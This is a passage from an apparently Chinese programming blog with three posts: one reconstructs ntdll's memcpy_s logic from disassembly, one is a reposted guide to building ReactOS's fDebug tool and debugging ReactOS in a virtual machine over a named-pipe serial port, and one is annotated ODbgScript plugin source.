00000000`77abeece 488b742448 mov rsi,qword ptr [rsp+48h]
00000000`77abeed3 4883c430 add rsp,30h
00000000`77abeed7 5f pop rdi
00000000`77abeed8 c3 ret

從上面可以看到,這裡先判斷arg4 參數,如果為0 的話,它最終將會函數返回。
於是,我們可以得到下面的邏輯:

代碼:
if (arg4 == 0)
        return 0;

3. 第 1 個參數的處理

下面看代碼:

ntdll!memcpy_s+0x21:
00000000`77abeead 4885c9 test rcx,rcx
00000000`77abeeb0 7527 jne ntdll!memcpy_s+0x4d (00000000`77abeed9)

ntdll!memcpy_s+0x26:
00000000`77abeeb2 48214c2420 and qword ptr [rsp+20h],rcx
00000000`77abeeb7 4533c9 xor r9d,r9d
00000000`77abeeba 4533c0 xor r8d,r8d
00000000`77abeebd 33d2 xor edx,edx
00000000`77abeebf e85c95ffff call ntdll!invalid_parameter (00000000`77ab8420)

ntdll!memcpy_s+0x38:
00000000`77abeec4 b816000000 mov eax,16h

ntdll!memcpy_s+0x3d:
00000000`77abeec9 488b5c2440 mov rbx,qword ptr [rsp+40h]
00000000`77abeece 488b742448 mov rsi,qword ptr [rsp+48h]
00000000`77abeed3 4883c430 add rsp,30h
00000000`77abeed7 5f pop rdi
00000000`77abeed8 c3 ret

如果,第1 個參數arg1 為0 的話,它將調用invalid_parameter() 函數,返回一個代碼值(返回狀態!)
invalid_parameter() 調用用先將r​​dx, r8 以及r9 寄存清0,那麼這裡我姑且認為它也是4 個參數(注意:這裡使用了edx, r8d 和r9d 寄存器,說明這些參數是32 位值)並且我們知道memcpy_s() 函數應該是返回一個狀態值!
現在,我們又可以得出它的邏輯(結果起來):


代碼:
STATUS memcpy_s(arg1, arg2, arg3, arg4)
{
        if (arg4 == 0)
                return 0;

        if (arg1 == 0)
        {
                 invalid_parameters(arg1, 0, 0, 0);
                 return 0x16; // 狀態值
         }
}

3. 第 3 個參數的處理

假如,第1 個參數arg1 不為0 的時候呢?

ntdll!memcpy_s+0x21:
00000000`77abeead 4885c9 test rcx,rcx
00000000`77abeeb0 7527 jne ntdll!memcpy_s+0x4d (00000000`77abeed9)

... ...

ntdll!memcpy_s+0x4d:
00000000`77abeed9 4d85c0 test r8,r8 ; 第3 個參數
00000000`77abeedc 7412 je ntdll!memcpy_s+0x64 (00000000`77abeef0)

... ...

ntdll!memcpy_s+0x64:
00000000`77abeef0 4c8bc2 mov r8,rdx ; rdx 寄存器的值為arg2
00000000`77abeef3 33d2 xor edx,edx
00000000`77abeef5 e8d63ffcff call ntdll!memset (00000000`77a82ed0)
00000000`77abeefa 4885f6 test rsi,rsi
00000000`77abeefd 7505 jne ntdll!memcpy_s+0x78 (00000000`77abef04)

它將接下來判斷第3 個參數arg3,如果arg3 也為0 的時候,它將調用memset()

我們知道memset() 是置memory buffer 為某一值的作用,上面所示,它的參數有3 個,它的邏輯為:

代碼:
memset(char *dest, char c, unsigned int count)
在這個函數的調用中,我們可以知道rdx 寄存器將是傳遞給memset() 函數作為第3 個參數,而rcx 寄存器正是目標地址值,於是,我們知道memcpy_s() 函數的第1 個參數是目標地址值!
於是,我們在這裡可以得出:

代碼:
NT_STATUS memcpy_s(char *dest, arg2, arg3, arg4)
{
  if (arg4 == 0) return 0;
  
  if (arg1 == 0) {
    invalid_argeter(arg1, 0, 0, 0)
    return 0x16;
  }

  if (arg3 == 0) {
    memset(dest,0, arg2);
    invalid_argeter(arg1, 0, 0, 0)
    return 0x16;
  }
}
在這一步,我們得出了memcpy_s() 函數的第1 個參數,紅色標註的。


5. 第 2 個參數與第 4 個參數處理

當第3 個參數不為0 的時候,將會繼續判斷第2 個和第3 個參數:

ntdll!memcpy_s+0x52:
00000000`77abeede 483bd3 cmp rdx,rbx ; arg2 與arg4 之間的比較
00000000`77abeee1 720d jb ntdll!memcpy_s+0x64 (00000000`77abeef0)

... ...

ntdll!memcpy_s+0x64:
00000000`77abeef0 4c8bc2 mov r8,rdx
00000000`77abeef3 33d2 xor edx,edx
00000000`77abeef5 e8d63ffcff call ntdll!memset (00000000`77a82ed0)
00000000`77abeefa 4885f6 test rsi,rsi ; 關鍵一步, rsi 的值就是r8 也就是arg1
00000000`77abeefd 7505 jne ntdll!memcpy_s+0x78 (00000000`77abef04)

... ...

ntdll!memcpy_s+0x78:
00000000`77abef04 483bfb cmp rdi,rbx
00000000`77abef07 73bb jae ntdll!memcpy_s+0x38 (00000000`77abeec4)

ntdll!memcpy_s+0x7d:
00000000`77abef09 bb22000000 mov ebx,22h

ntdll!memcpy_s+0x82:
00000000`77abef0e 488364242000 and qword ptr [rsp+20h],0
00000000`77abef14 4533c9 xor r9d,r9d
00000000`77abef17 4533c0 xor r8d,r8d
00000000`77abef1a 33d2 xor edx,edx
00000000`77abef1c 33c9 xor ecx,ecx
00000000`77abef1e e8fd94ffff call ntdll!invalid_parameter (00000000`77ab8420)
00000000`77abef23 8bc3 mov eax,ebx
00000000`77abef25 eba2 jmp ntdll!memcpy_s+0x3d (00000000`77abeec9

這里通過比較arg2 與arg4 的大小,當arg2 小於arg4 的時候,同樣調用memset(),然後置狀態值0x22,然後返回。
在這一步,我們得到:

代碼:
NT_STATUS memcpy_s(char *dest, arg2, arg3, arg4)
{
  if (arg4 == 0) return 0;
  
  if (arg1 == 0) {
    invalid_pargeter(dest, 0, 0, 0)
    return 0x16;
  }

  if (arg3 == 0) {
    memset(dest,0, arg2);
    invalid_pargeter(dest, 0, 0, 0)
    return 0x16;
  }

  if (arg2 < arg4)
  {
    memset(dest, 0, arg2);
    invalid_pargeter(dest, 0, 0, 0)
    return 0x22;
  }
}

6. 最後一步,確定 arg2,arg3 以及 arg4

看下面最終的 memcpy() 代碼:

ntdll!memcpy_s+0x57:
00000000`77abeee3 4c8bc3 mov r8,rbx ; arg4 是size
00000000`77abeee6 488bd6 mov rdx,rsi ; r8 是source
00000000`77abeee9 e8e2f7fbff call ntdll!memcpy (00000000`77a7e6d0)
00000000`77abeeee ebb9 jmp ntdll!memcpy_s+0x1d (00000000`77abeea9)

最終將會調用memcpy() 進行複制,我們知道memcpy() 的原型大概是這樣的:

代碼:
memcpy(char *dest, char *source, unsinged int size)
這裡,我們明確的答案了, arg4 將會是size,arg3 將會是source

那麼,arg2 是什麼呢?通過前面的if (arg2 < arg4) 的比較,我們可以斷定,arg2 是buffer size,如果buffer size 小於count size 值時,那會將會出錯。

因此,最後一步,我們得到完全的邏輯:

代碼:
NT_STATUS memcpy_s(char *dest, arg2, arg3, arg4)
{
  if (arg4 == 0) return 0;
  
  if (arg1 == 0) {
    invalid_argeter(dest, 0, 0, 0)
    return 0x16;
  }

  if (arg3 == 0) {
    memset(dest,0, arg2);
    invalid_argeter(dest, 0, 0, 0)
    return 0x16;
  }

  if (arg2 < arg4)
  {
    memset(dest, 0, arg2);
    invalid_argeter(dest, 0, 0, 0)
    return 0x22;
  }
  
  memcpy(dest, arg3, arg4);
  
  return 0;
}

7. 最後,我們整理一下代碼,得出最終的一個結果:

下面是還原的結果,這不是原始源代碼,只是按照函數的邏輯形成的一個功能和邏輯一樣的代碼:



代碼:
STATUS memcpy_s(char *dest, unsigned int buffer_size, char *source, unsigned int count)
{
  STATUS status = STATUS_SUCCESS;

  if (count == 0)
    return status;

  if (dest == NULL)
  {
    status = STATUS_INVALID_ADDRESS;
  }
  else if (source == NULL)
  {
    memset(dest, 0, buffer_size);
    status = STATUS_INVALID_ADDRESS;
  }
  else if (buffer_size < count)
  {
    memset(dest, 0, buffer_size);
    status = STATUS_INVALID_BUFFER_SIZE;
  }
    
  else
    memcpy(dest, source, count);

  
  if (status != STATUS_SUCCESS)
    invalid_parameter(dest, 0, 0, 0);
  
  return status;
}
當然請注意:這裡的status 值是一個表述,在這裡不是真實的常量

2011年9月12日星期一

[轉載]也來說說ReactOS的調試


作 者:ProgmBoy 
時 間:2009-02-16 22:36

鏈接:http://bbs.pediy.com/showthread.php?t=82194
By::ProgrammeBoy
Blog:http://hi.baidu.com/ProgrammeBoy

老鳥飛過,科普類….有錯的地方大家別笑,

  看ReactOS的源碼好多天了,許多windows下不明白的地方看看ReactOS的代碼也就知道差不多了...寫ReactOS的同志們可真是好人呀.想看linux但是還的學那一大堆命令....使用看reactos,照樣可以理解操作系統的精髓...還有就是編譯reactos在windows下,方便呀...,
  廢話不多說,看了半天的reactos的代碼,心裡躍躍欲試,想為reactos做點貢獻,但是前提是怎麼調試代碼呢?.. ....由於網上關於reactos的調試很少...reactos的wiki上只有寥寥無幾的幾篇,也只是介紹內核調試器的使用..作為菜鳥的我只知道他是用9幀串口來傳輸數據.並不知道用什麼來接收調試數據.和發送調試命令,在群裡看的老蔡的使用的調試工具是:

總覺得不好使......自己嘗試著瞎整..還真找出了點路子.(鑑於是自己瞎整,錯誤的概率也就很大,此文的目的是為調試reactos提供一個方向)

在reactos的論壇上搜"調試"的時候知道源碼中有個fDebug是好像是用來調試的.所以我就找了先下fDebug的的代碼.在D:\ReactOS\ReactOS_src\boot\freeldr\fdebug這個目錄下.
這裡我嗦下.源代碼的路徑別放到目錄中有空格的文件夾中,有時會導致不能編譯.例如,以前我把源碼放在了D:\Program Files\ReactOS_src\boot\freeldr\fdebug這個目錄下,在編譯時可能會發生錯誤.(至於為什麼?我就不嗦了)

  好了,回到正題.接下來就是編譯fDebug...,看了下fDebug的模塊名(怎麼看?打開fDebug下的fDebug.rbuild文件裡面有個module name=的字樣,後面的就是)當時我隨手打開了編譯環境,輸入"makex freeldr_fdebug",可是提示,mingw32-make: *** No rule to make target `fDebug'. Stop.,沒有次模塊,打開配置文件D:\ReactOS\ReactOS_src\boot\ freeldr\freeldr.rbuild,發現並沒有fDebug,那我們自己填,怎麼填?嗯是個問題.

follow me:來到這個模塊所在的主目錄下也就是D:\Program Files\ReactOS_src\boot\freeldr\,找到freeldr.rebuild文件打開添加下面的:


代碼:
<directory name="fdebug">
      <xi:include href="fdebug/fdebug.rbuild" />
</directory>
              
然後在編譯環境下再次輸入: makex freeldr_fdebug.等了會,出現

代碼:
[LD] output-i386\boot\freeldr\fdebug\fdebug.exe
[RSYM] output-i386\boot\freeldr\fdebug\fdebug.exe
的字樣OK編譯好了,我們在運行下:
這裡有兩個問題:
1,在哪運行呀?如果在windows下兼容嗎?
2,文件在哪呀?
答:(1)在windows下,因為我們要在windows下用fDebug和虛擬機調試,可能還會有人問兼容嘛?由於reactos設計的宗旨就是兼容windows,所以,reactos的應用程序幾乎都能在windows下運行!,而相反就不一定了,畢竟還在開發中嘛..
(2)文件在哪?正如編譯環境給你列出來的D:\ReactOS\ReactOS_src\ output-i386\boot\freeldr\fdebug\fdebug.exe下就能找到
編譯好了,我們來調試吧,先嗦下,調試環境,我類似於windbg + Vmware, 首先在虛擬機中裝ReactOS,怎麼裝我就不再嗦了,他的老家的論壇上有,然後打開虛擬機的設置->添加硬件-->串口使用命名管道..其餘默認就行..
呵呵,開始調試嘍,打開虛擬機.以調試模式運行Reactos(就是一進系統有好幾個選項我們選第二個(即ReactOS (Debug))),打開fDebug,如圖:

唉,白呀,打開”文件””Connect”,在端口那輸入” \\.\pipe\com_1”下面默認,確定
提示

暈,怎麼回事?用windbg就可以啦.打開源碼看看,(有源代碼就是好,^_^);這個程序的代碼很少.
看到這,就知道怎麼回事了(注意這段在D:\ReactOS\ReactOS_src\boot\freeldr\fdebug\rs232.c文件中):
              
代碼:
  _stprintf(PortName, TEXT("\\\\.\\%s"), CommPort);
  hPortHandle = CreateFile(PortName,
              GENERIC_READ|GENERIC_WRITE,
              0,
              0,
              OPEN_EXISTING,
              0,
              0);
  
馬上將port名改成pipe\com_1,可是又出錯了:

接著看代碼,這裡(在同目錄下的fDebug.c中):
        
代碼:
  _stprintf(String, TEXT("%s,n,8,1"), strBaudRate);
  if (!Rs232ConfigurePortWin32(String))
  {
    MessageBox(hMainWnd, TEXT("Error configuring port!"), TEXT("Error"), MB_OK|MB_ICONSTOP);
    bConnected = FALSE;
    return;
  }
接著看看這個函數Rs232ConfigurePortWin32(同目錄下的rs232.c中):

代碼:
BOOL Rs232ConfigurePortWin32(TCHAR* DeviceControlString)
{
  DCB dcb;
  DWORD ErrorCode;

  memset(&dcb, 0, sizeof(DCB));
  dcb.DCBlength = sizeof(dcb);
  if (!BuildCommDCB(DeviceControlString, &dcb))
  {
    ErrorCode = GetLastError();
    _tprintf(TEXT("BuildCommDCB() failed. GetLastError() = %lu.\n"), ErrorCode);
    return FALSE;
  }
  if (!SetCommState(hPortHandle, &dcb))
  {
    ErrorCode = GetLastError();
    _tprintf(TEXT("SetCommState() failed. GetLastError() = %lu.\n"), ErrorCode);
    return FALSE;
  }
  // Set the timeouts
  if (!Rs232SetCommunicationTimeoutsWin32(MAXDWORD, 0, 0, 0, 0))
  {
    return FALSE;
  }

  return TRUE;
}
查了下msdn沒多大用,(有興趣的自己看),去掉.將fDebug.c中的那段去掉.
這裡也說下:這個程序的作者也真夠馬虎的點”connect”出錯後,也不知道將disConnect變為禁用將connect變為可用,害的我每次都得重新運行下程序,我們改過來:
在連接失敗的地方加上

代碼:
    EnableFileMenuItemByID(IDM_FILE_DISCONNECT, FALSE);
    EnableFileMenuItemByID(IDM_FILE_CONNECT, TRUE);
就行了
趕緊試了下….成功了:
如下:

呵呵.接著去他老家的論壇看了看Kernel_Debug的用法,wiki上都有我就不多說了.
在這裡: http://www.reactos.org/wiki/index.php/Kdbg
對了這裡按Tab + K 鍵中斷進行調試,和softice似的,輸命令的時候必須將窗口切入到ReactOS中再輸入,雖然不是在fDebug中輸入的加上鼠標什麼的都不管事但是ReactOS會將命令通過串口傳過來.
我們試試查看寄存器:
輸入:regs
顯示如圖:

注意:調試必須是內核帶調試的版本,怎麼編譯調試版本,WIKI上都說了,大家可以參考


結束語:這裡僅僅是指名了個方向,具體還要大家慢慢的研究,探索…..
老鳥飛過
也不知道是放在編程這塊呀,還是放在調試那塊,想了下編程這塊常來放在這吧

附上改過後的fDebug

2011年9月6日星期二

ODbgScript源碼學習(十八)


int setProgLineResult(int line, DWORD result)  //
{
char buf[17];
sprintf(buf, "%X", result); //打印
string str(buf);
return setProgLineResult(line, str); //使用字符串設置行
}

int setProgLineResultFloat(int line, long double result) {
char buf[128];
sprintf(buf, "%lf", result);
string str(buf);
while (true) 
{
if (str.length() <= 3) break;  //如果長度小於等於3,中斷
if (str[str.length()-1] == '0') //如果最後一個字符為0
str.erase(str.length()-1,1); //清除
else 
break; //中斷
}
return setProgLineResult(line, str); //設置行
}

int setProgLineResult(int line, string& result) //設置行返回值
{

if (line>ollylang->script.size()) return 0; //參數大於腳本大小,返回0
char values[PROG_VAL_LEN]; 
t_wndprog_data *ppl;
ppl = (t_wndprog_data *) Getsortedbyselection(&(ollylang->wndProg.data),line); //獲取分類數據
if (ppl->type & PROG_TYPE_LABEL) //類型為標籤,返回失敗
return false;

strncpy(ppl->result,CleanString(result).c_str(),PROG_RES_LEN);
if (strcmp(ppl->values,"")) 
{
if (ppl->values[0] != ',') 
{
strcpy(values,ppl->values);
strncpy(&ppl->values[1],values,PROG_VAL_LEN-2);
ppl->values[0]=',';
}
}

return true;
}

void clearProgLines()
{
ollylang->pgr_scriptpos=0;
if (!ollylang->tProgLines.empty()) //如果行不為空
{
Deletesorteddatarange(&(ollylang->wndProg.data),0,0xffffffff); //傷處分類數據域
ollylang->tProgLines.clear(); //清除行
InvalidateProgWindow();
}
}

void resetProgLines()
{
vector<t_wndprog_data>::iterator iter=ollylang->tProgLines.begin(); //使用容器vector 定義一個開始
int line=0;
t_wndprog_data *ppl;

while (iter!=ollylang->tProgLines.end()) //黨不等於結束時
{
ppl = (t_wndprog_data *) Getsortedbyselection(&(ollylang->wndProg.data),line); //獲取分類數據
//reset executed color
if ((ppl->type & PROG_TYPE_COMMAND)) //忽略標籤和註釋ignore labels/comments
ppl->type &= PROG_TYPE_COMMAND;
strcpy(ppl->result,"");
strcpy(ppl->values,"");
//ppl->jumpto = 0;
ppl->eip = 0;

line++;
iter++;
}
InvalidateProgWindow();
}


int getProgLineType(int line)  //獲取行類型
{
t_wndprog_data *ppl;
ppl = (t_wndprog_data *) Getsortedbyselection(&(ollylang->wndProg.data),line);
if (ppl==NULL)
return false; 

return (ppl->type & PROG_TYPE);

}

int setProgLineAttr(int line,int type) 
{
t_wndprog_data *ppl;
ppl = (t_wndprog_data *) Getsortedbyselection(&(ollylang->wndProg.data),line);
if (ppl==NULL)
return false;

ppl->type &= PROG_TYPE;
ppl->type |= type;

return true;
}

int isProgLineComment(int line) 
{

t_wndprog_data *ppl;
ppl = (t_wndprog_data *) Getsortedbyselection(&(ollylang->wndProg.data),line);
if (ppl==NULL)
return false;

if (ppl->type & PROG_TYPE_COMMENT) 
{
return true;
}

return false;

}

int isProgLineBP(int line) 
{

t_wndprog_data *ppl;
ppl = (t_wndprog_data *) Getsortedbyselection(&(ollylang->wndProg.data),line);
if (ppl==NULL)
return false;
if (ppl->pause && ollylang->wndProg.hw) 
{
focusonstop=4;
}

return ppl->pause;

}